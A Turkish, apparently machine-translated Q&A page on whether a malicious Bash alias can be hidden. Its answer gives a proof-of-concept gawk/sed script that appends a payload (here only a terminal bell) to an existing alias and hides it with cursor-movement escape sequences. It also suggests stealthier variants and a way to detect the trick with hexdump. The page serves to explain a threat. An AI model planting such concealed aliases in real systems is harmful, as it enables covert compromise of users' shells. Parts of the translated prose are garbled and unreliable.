Linux'ta Bash'te kötü amaçlı bir takma ad gizlemek mümkün mü?


Yanıtlar:


13

Bunu, varolan takma adı kötü amaçlı olana ekleyerek ve aliaskomut takma ad tanımlarını görüntülemek için kullanılıyorsa gizlemek için imleç hareketini kullanarak yapmak mümkündür . Mükemmel bir kusursuz yöntem değildir, ancak bir süre fark edilmeyebilir. Geçiş aliasyapmak hd, takma adlarınızda herhangi bir kaçış dizisi (imleç hareketi) olup olmadığını gösterecektir. Kötü amaçlı bir komutun takma ada nasıl eklenebileceğine dair bir kavram kanıtı:

alias | gawk 'BEGIN {
        FS = "[ =\047]"
        db = "\\"; sp = db " "; amp = db "&"
        sq= "\047"; bell = "\007"; esc = "\033"
    } 
    NR == 3 { len1 = length($2) }
    NR == 4 {
        alias = $2
        orig = gensub(sq, "", "g", substr($0, match($0, "=") + 1))
        orig = gensub(" ", db sp, "g", orig)
    }
    END {
        hide = "$" db sq sp "--" sp db "\r" esc "[J" esc "[A" db "\t"
        for(i=1; i<len1; i++) {hide = hide esc "[C"}
        cmd = "sed -i s/^alias" sp alias ".*/alias" sp alias "=" db sq "echo" sp db bell db db amp db db amp orig db sq hide db sq "/ aliases"
    system(cmd)
    }'
  • sedKomut değiştirir yerinde "takma adlar" adlı bir dosya - Bu tip gerçek senaryo boğazına ve kötü niyetli takma yürütüldüğünde sefere aktif hale bu yüzden gerçek bir komut dosyası değiştirir.
  • Bu örneğin kötü niyetli kısmı sadece terminal çanını çalar, böylece çalıştığını bilirsiniz.
  • Başlangıçta diğer adı olan komut, hidebağımsız değişken olarak içeriğiyle yürütülür, böylece bu soruda bildirilene benzer bir hata alabilirsiniz . Takma adı verilen argümanlara müdahale etmesine rağmen, orijinal ve kötü niyetli bölümleri tersine çevirmek mümkün olabilir. Yukarıdaki komut dosyasında argümanların sonunu işaretlemek için bir girişimde bulunuldu --.
  • Orijinal ve kötü amaçlı parçaları zincirlemek yerine, &&bir sonrakine geçebilir ve kötü amaçlı komut dosyasını (yukarıda basit echokomutla temsil edilir ) , verileri ilerlerken değiştirmek veya gizlemek stdiniçin stdoutgeçiş işlevi olarak yapabilirsiniz . diğer yönlendirmelere müdahale etmeyerek daha fazla varoluş
  • Bunun yerine başka bir olasılık, imleç hareket dizesini bağımsız değişken listesinden kaldırabilen ve geri kalanını orijinaline aktarabilen kötü amaçlı komut dosyasının içindeki orijinal takma adı eklemek olabilir.
  • Rasgele 3 ve 4 kayıtlarını seçtim, daha akıllı kod belirli takma adları hedefleyebilir, ancak bitişik olmaları gerekir (veya imleç hareketi daha karmaşık hale getirilebilir).
  • hideBöylece dize farklı imleç hareketi ve orijinal takma metnini eklemek için değiştirilmiş olabilir aliaskomut kötü niyetli kesimiyle birlikte saklamak yerine değiştirilmemiş takma göstermek için görünür.
  • Yazıldığı gibi denemek için, en az dört etkin takma adınızın olması, bu komut dosyasını çalıştırmanız ve ardından ortaya çıkan dosyayı kaynaklamanız gerekir . aliases. Ardından, etkilenen diğer adı kullanmayı deneyebilir ve bunu yaptığınızda neye benzediğini görebilirsiniz alias|hd.
  • Bu hiç şüphesiz yüzlerce farklı yolla yeniden yazılabilir - hepsi daha iyi.
  • Bu tür bir tehdit ne kadar gerçekçi? Benim bir ipucum yok. Ama yapabilirsem ...
Sitemizi kullandığınızda şunları okuyup anladığınızı kabul etmiş olursunuz: Çerez Politikası ve Gizlilik Politikası.
Licensed under cc by-sa 3.0 with attribution required.